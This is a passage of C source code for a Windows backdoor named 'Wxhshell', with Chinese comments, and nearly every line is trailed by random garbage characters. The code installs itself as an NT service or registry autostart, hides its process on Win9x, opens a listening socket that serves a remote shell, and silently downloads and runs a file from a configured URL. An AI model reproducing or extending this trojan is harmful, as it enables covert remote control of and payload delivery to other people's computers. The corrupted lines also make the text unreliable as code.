PROCNTQSIP NtQueryInformationProcess; \PU|<Ru.
p(Y'fd}
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KL sTgo|J
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4&K~EX"^T
iK(n'X5i
HANDLE hProcess; yXc/Nl%
PROCESS_BASIC_INFORMATION pbi; :2 ?dl:l
$Xk1'AzB8
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3?Bq((
if(NULL == hInst ) return 0; vwZ2kk!|i
qB3
SQ:y
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [>;U1Wt
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n0O- Bxhl
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0Vh|UJ'&7
t=iy40_T
if (!NtQueryInformationProcess) return 0; .cQwjL
kxWf1hIz0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %l,p />r
if(!hProcess) return 0; O9=vz%
m]=|%a6
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vhTte
|(
qW][Q%'lt
CloseHandle(hProcess); #]:yCiA
P
et0yH
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _4owxYSDke
if(hProcess==NULL) return 0; <2diO=
}c|Xr^
HMODULE hMod; GasIOPzK
char procName[255]; d;:+Xd`
unsigned long cbNeeded; b0tr)>d
;-n+=@]7
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mxq'A
3Q~ng2Wv%
CloseHandle(hProcess); _&.CI6
8>T
'
if(strstr(procName,"services")) return 1; // 以服务启动 t 4{{5U'\
i~n>dc YW
return 0; // 注册表启动 u <%,Ql
} d.% Vm&3
fJd!;ur)0
// 主模块 !R[o6V5T
int StartWxhshell(LPSTR lpCmdLine) 6@ET3v
{ v#(wc+[
SOCKET wsl; 2y,NT|jp
BOOL val=TRUE; mj%Iow.
int port=0; J ;i/X;^
struct sockaddr_in door; `+\+
+<"sC+2
if(wscfg.ws_autoins) Install(); 9-Qub+0o
K
{!eHTU
port=atoi(lpCmdLine); F4e<=R
d;
oaG (e
if(port<=0) port=wscfg.ws_port; H^B/
'#mO
hoO8s#0ED
WSADATA data; $0AN5 |`g\
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S3P;@Rm
+g/y)] AP
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; |B;:Ald
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <S6|$7{1
door.sin_family = AF_INET; (YGJw?]
door.sin_addr.s_addr = inet_addr("127.0.0.1"); (m-(5 CaJ
door.sin_port = htons(port); D5]T.8kX(7
O6YYOmt3
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .?<,J
closesocket(wsl); -wW%+wH
return 1; U5Q `r7
} 7$\;G82_
wX<)Fj'
if(listen(wsl,2) == INVALID_SOCKET) { ZvkO#j
closesocket(wsl);
}Rt?p8p
return 1; =sG C
} B7fURL
Rqr
Wxhshell(wsl); Z<0M_q9?MO
WSACleanup(); 'eLO#1Ipf
U9SByqa1
return 0; b_|`jHes
>(|T]u](q
} W-<C%9O!
mKvk6OC
// 以NT服务方式启动 -Z-|49I/mN
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a^@6hC>sr
{ {}s7q|$
DWORD status = 0; K!).QB'
DWORD specificError = 0xfffffff; ("}TW-r~
}(hx$G^M
serviceStatus.dwServiceType = SERVICE_WIN32; 2x"&8Bg3
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 4@.qM6 \\q
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Pn[-{nz
serviceStatus.dwWin32ExitCode = 0; T5=3 jPQ
serviceStatus.dwServiceSpecificExitCode = 0; 2LiJ IO8N
serviceStatus.dwCheckPoint = 0; MIsjTKE
serviceStatus.dwWaitHint = 0; q#xoM1
GASDkVoij
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $GSn#} yz
if (hServiceStatusHandle==0) return; Y#=0C*FS
\uc]+nV!o
status = GetLastError(); Ev,>_1#Xm
if (status!=NO_ERROR) ^r?ZrbSbz
{ }Cvf[H1+
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7ykpDl^ @
serviceStatus.dwCheckPoint = 0; Z_zN:BJ8L
serviceStatus.dwWaitHint = 0; %u,H2*
serviceStatus.dwWin32ExitCode = status; /3Zo8.
serviceStatus.dwServiceSpecificExitCode = specificError; ?<ks^2D
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k^w!|%a[
return; nVoL7ew+
} QgqR93Ic
dAh&Z:86\
serviceStatus.dwCurrentState = SERVICE_RUNNING; eBFsKOtu
serviceStatus.dwCheckPoint = 0; %|*tL7
serviceStatus.dwWaitHint = 0; sy.FMy+
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); etMQy6E\
} 'P0:1">
`WboM\u
// 处理NT服务事件,比如:启动、停止 [i==
Tp
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1aP3oXLL
{ g=0`^APql
switch(fdwControl) AU -,
{ A_tdtN<
case SERVICE_CONTROL_STOP: }R=n!Y$F
serviceStatus.dwWin32ExitCode = 0; c$Z3P%aP'V
serviceStatus.dwCurrentState = SERVICE_STOPPED; b(Zh$ 86
serviceStatus.dwCheckPoint = 0; fa//~$#"{L
serviceStatus.dwWaitHint = 0; 6ey{+8
{ b}HLuX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )\s{\u
\
} C< 3`]l
return; g`i?]6c}jt
case SERVICE_CONTROL_PAUSE: ;.Zgt8/.
serviceStatus.dwCurrentState = SERVICE_PAUSED; "oz
: & #+
break; T`mG+"O
case SERVICE_CONTROL_CONTINUE: J$F
1sy
serviceStatus.dwCurrentState = SERVICE_RUNNING; !nQ_<
break;
P(a!I{A(
case SERVICE_CONTROL_INTERROGATE: mEeD[dMN
break; 3k(A&]~v
}; 3q:U0&F
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q'5]E{1<'n
} R.@ I}>
wW
EnAW~
// 标准应用程序主函数 <tXk\cOg
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t1}R#NB
{ "
R!,5HQF;
T1%_sq
// 获取操作系统版本 "yJFb=Xdq
OsIsNt=GetOsVer(); L1ro\ H
GetModuleFileName(NULL,ExeFile,MAX_PATH); \f\CK@
o-a\T
// 从命令行安装 He vZ}.
if(strpbrk(lpCmdLine,"iI")) Install(); a> qB
k})
[U'I3x,
// 下载执行文件 c|m*<
i
if(wscfg.ws_downexe) { NXo$rf:
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4zKmoYt
WinExec(wscfg.ws_filenam,SW_HIDE); K~Nx;{{d
} )-VpDW!%_
kn<IWW_t
if(!OsIsNt) { o5LyBUJ
// 如果时win9x,隐藏进程并且设置为注册表启动 *lyy |3z
HideProc(); (SGX|,5X7
StartWxhshell(lpCmdLine); 7IkNS
} !xcLJ5^W
else TS4Yzq,f
if(StartFromService()) lt08
E2p9
// 以服务方式启动 ^% ZbjJ7|j
StartServiceCtrlDispatcher(DispatchTable); IJ\4S
else ^x2zMB\t
// 普通方式启动 NH9"89]E
StartWxhshell(lpCmdLine); 3MX&%_wUhB
XX&4OV,^%D
return 0; nl<TM96
}